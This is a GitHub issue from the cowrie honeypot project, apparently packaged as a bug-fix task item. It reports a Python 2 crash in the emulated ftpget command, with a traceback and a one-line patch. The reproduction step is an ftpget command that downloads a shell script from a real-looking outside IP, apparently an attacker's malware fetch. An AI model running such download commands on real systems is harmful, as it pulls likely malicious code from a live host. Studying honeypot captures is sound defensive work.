Repository: cowrie/cowrie

Issue:
ftpget on python2
```
          File "/home/cowrie/cowrie/src/cowrie/commands/ftpget.py", line 200, in ftp_download
            ftp = FTP(source_address=out_addr)
          File "/home/cowrie/cowrie/src/cowrie/commands/ftpget.py", line 24, in __init__
            super(FTP, self).__init__(*args, **kwargs)
        exceptions.TypeError: super() argument 1 must be type, not classobj
```


Discussion:
@micheloosterhof Can you please provide some other info, as in how to trigger this error?
It's actually Python2!

Run: 

```ftpget -v -u anonymous -p anonymous -P 21 89.46.223.247 8UsA1.sh 8UsA1.sh```

Output:

```
2019-01-28T07:38:45.678356+0000 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,1,127.0.
0.1] Command found: ftpget -v -u anonymous -p anonymous -P 21 89.46.223.247 8UsA1.sh 8UsA1.sh
2019-01-28T07:38:45.681785+0000 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,1,127.0.
0.1] Unhandled Error
        Traceback (most recent call last):
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/python/context.py", line 122, in call
WithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/python/context.py", line 85, in callW
ithContext
            return func(*args,**kw)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/conch/ssh/service.py", line 45, in pa
cketReceived
            return f(packet)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/conch/ssh/connection.py", line 249, i
n ssh_CHANNEL_DATA
            log.callWithLogger(channel, channel.dataReceived, data)
        --- <exception caught here> ---
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/python/log.py", line 103, in callWith
Logger
            return callWithContext({"system": lp}, func, *args, **kw)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/python/log.py", line 86, in callWithC
ontext
            return context.call({ILogContext: newCtx}, func, *args, **kw)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/python/context.py", line 122, in call
WithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/python/context.py", line 85, in callW
ithContext
            return func(*args,**kw)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/conch/ssh/session.py", line 112, in d
ataReceived
            self.client.transport.write(data)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/conch/ssh/session.py", line 163, in w
rite
            self.proto.dataReceived(data)
          File "/home/cowrie/cowrie/src/cowrie/insults/insults.py", line 104, in dataReceived
            insults.ServerProtocol.dataReceived(self, data)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/conch/insults/insults.py", line 537,
in dataReceived
            self.terminalProtocol.keystrokeReceived(ch, None)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/conch/recvline.py", line 225, in keys
trokeReceived
            m()
          File "/home/cowrie/cowrie/src/cowrie/shell/protocol.py", line 325, in handle_RETURN
            return recvline.RecvLine.handle_RETURN(self)
          File "/home/cowrie/cowrie-env/local/lib/python2.7/site-packages/twisted/conch/recvline.py", line 292, in hand
le_RETURN
            self.lineReceived(line)
          File "/home/cowrie/cowrie/src/cowrie/shell/protocol.py", line 185, in lineReceived
            self.cmdstack[-1].lineReceived(line)
          File "/home/cowrie/cowrie/src/cowrie/shell/honeypot.py", line 106, in lineReceived
            self.runCommand()
          File "/home/cowrie/cowrie/src/cowrie/shell/honeypot.py", line 215, in runCommand
            self.protocol.call_command(pp, cmdclass, *cmd_array[0]['rargs'])
          File "/home/cowrie/cowrie/src/cowrie/shell/protocol.py", line 306, in call_command
            HoneyPotBaseProtocol.call_command(self, pp, cmd, *args)
          File "/home/cowrie/cowrie/src/cowrie/shell/protocol.py", line 194, in call_command
            obj.start()
          File "/home/cowrie/cowrie/src/cowrie/commands/ftpget.py", line 160, in start
            result = self.ftp_download()
          File "/home/cowrie/cowrie/src/cowrie/commands/ftpget.py", line 200, in ftp_download
            ftp = FTP(source_address=out_addr)
          File "/home/cowrie/cowrie/src/cowrie/commands/ftpget.py", line 24, in __init__
            super(FTP, self).__init__(*args, **kwargs)
        exceptions.TypeError: super() argument 1 must be type, not classobj

Resolving patch:
diff --git a/src/cowrie/commands/ftpget.py b/src/cowrie/commands/ftpget.py
--- a/src/cowrie/commands/ftpget.py
+++ b/src/cowrie/commands/ftpget.py
@@ -21,7 +21,7 @@ class FTP(ftplib.FTP):
 
     def __init__(self, *args, **kwargs):
         self.source_address = kwargs.pop("source_address", None)
-        super(FTP, self).__init__(*args, **kwargs)
+        ftplib.FTP.__init__(self, *args, **kwargs)
 
     def connect(self, host='', port=0, timeout=-999, source_address=None):
         if host != '':


Test patch: